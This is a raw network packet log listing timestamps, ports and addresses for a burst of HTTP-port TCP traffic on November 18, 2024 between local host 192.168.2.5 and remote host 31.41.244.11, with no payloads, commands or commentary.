Nov 18, 2024 19:04:14.730830908 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.730848074 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.730881929 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.730917931 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.730931997 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.730978012 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.731256962 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.731362104 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.731393099 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.731415033 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.731446028 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.731448889 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.731481075 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.731517076 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.731528044 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.731560946 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.731671095 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.731714010 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.731786966 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.731821060 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.731829882 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.731854916 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.731889009 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.731900930 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.731925011 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.731934071 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.731971979 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.732136011 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.732211113 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.732244015 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.732259989 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.732279062 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.732290983 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.732314110 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.732325077 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.732348919 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.732367992 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.732387066 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.732399940 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.732402086 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.732420921 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.732440948 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.732666969 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.732721090 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.732755899 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.732768059 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.732800961 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.732897043 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.732933044 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.732965946 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.732979059 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.733000994 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.733011961 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.733037949 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.733045101 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.733087063 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.733266115 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.733302116 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.733311892 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.733344078 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.733436108 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.733469009 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.733486891 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.733504057 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.733515978 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.733570099 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.778924942 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.778944016 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.778956890 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.778986931 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.779014111 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.779031992 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.779047012 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.779055119 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.779063940 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.779093981 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.779129982 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.779418945 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.779704094 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.779757977 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.779761076 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.779793024 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.779809952 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.779860973 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.779894114 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.779911041 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.779927969 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.779942036 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.779963017 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.779974937 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.779995918 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.780006886 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.780541897 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.785258055 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.785309076 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.785343885 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.785376072 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.785399914 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.785422087 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.785444975 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.785459042 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.785464048 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.785494089 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.785501003 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.785530090 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.785547018 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.785578012 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.785583019 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.785629034 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.785672903 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.785679102 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.785722017 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.785725117 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.785757065 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.785772085 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.785794020 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.785801888 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.785898924 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.785933018 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.785949945 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.785965919 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.785989046 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.786004066 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.786027908 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.786039114 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.786056042 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.786072969 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.786077976 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.786108017 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.786112070 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.786143064 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.786158085 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.786186934 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.786190987 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.786220074 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.786242008 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.786253929 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.786281109 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.786283016 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.786309958 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.786334991 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.786334991 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.786391973 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.786406040 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.786438942 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.786438942 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.786473036 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.786477089 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.786509991 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.786521912 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.786562920 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.786722898 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.786756039 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.786794901 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.786808968 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.786847115 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.786886930 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.786920071 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.786953926 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.786971092 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.786987066 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.787009001 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.787043095 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.787049055 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.787076950 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.787091970 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.787111044 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.787123919 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.787146091 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.787158012 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.787179947 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.787193060 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.787213087 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.787225008 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.787246943 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.787261009 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.787281990 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.787293911 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.787782907 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.787821054 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.787839890 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.787858009 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.787879944 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.787894964 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.787920952 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.787928104 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.787952900 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.787962914 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.787977934 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.788001060 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.788003922 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.788012028 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.788047075 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.788064003 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.788079977 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.788105011 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.788113117 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.788144112 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.788157940 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.788170099 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.788192987 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.788212061 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.788228035 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.788253069 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.788260937 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.788306952 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.788322926 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.788368940 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.788798094 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.788831949 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.788865089 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.788887024 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.788897991 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.788923979 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.788933039 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.788964033 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.788966894 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.788990974 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.789000988 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.789019108 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.789036036 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.789045095 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.789052963 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.789081097 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.789110899 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.821928024 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.822047949 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.822104931 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.822185993 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.822288990 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.822300911 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.822314024 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.822331905 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.822333097 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.822355986 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.822380066 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.822405100 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.822417021 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.822427988 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.822452068 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.822458982 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.822478056 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.822500944 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.822529078 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.822571993 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.822583914 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.822613001 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.822649002 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.882280111 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.882337093 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.882373095 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.882406950 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.882441044 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.882440090 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.882472992 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.882493019 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.882496119 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.882530928 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.882575989 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.882580042 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.882616043 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.882718086 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.882719040 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.882752895 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.882767916 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.882786989 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.882793903 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.882822037 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.882828951 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.882865906 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.882869959 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.882905006 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.882910967 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.882944107 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.882988930 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.883544922 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.883579969 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.883629084 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.883655071 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.883697033 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.883708954 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.883742094 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.883775949 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.883788109 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.883810043 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.883843899 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.883855104 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.883877993 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.883884907 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.883924007 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.883958101 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.883969069 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.883991003 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.884046078 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.884804010 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.884891987 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.884938002 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.884939909 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.884973049 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.884982109 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.885006905 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.885040998 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.885051012 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.885075092 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.885109901 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.885119915 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.885143995 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.885149956 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.888535023 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.897478104 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.897537947 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.897572041 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.897592068 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.897617102 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.897630930 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.897667885 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.897703886 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.897715092 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.897965908 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.898000002 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.898011923 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.898044109 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.898471117 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.898524046 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.898557901 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.898586035 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.898591042 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.898612976 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.898627043 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.898638010 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.898659945 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.898669958 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.898700953 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.898703098 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.898737907 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.898741961 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.898780107 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.902419090 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.902472973 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.902518034 CET	80	49977	31.41.244.11	192.168.2.5
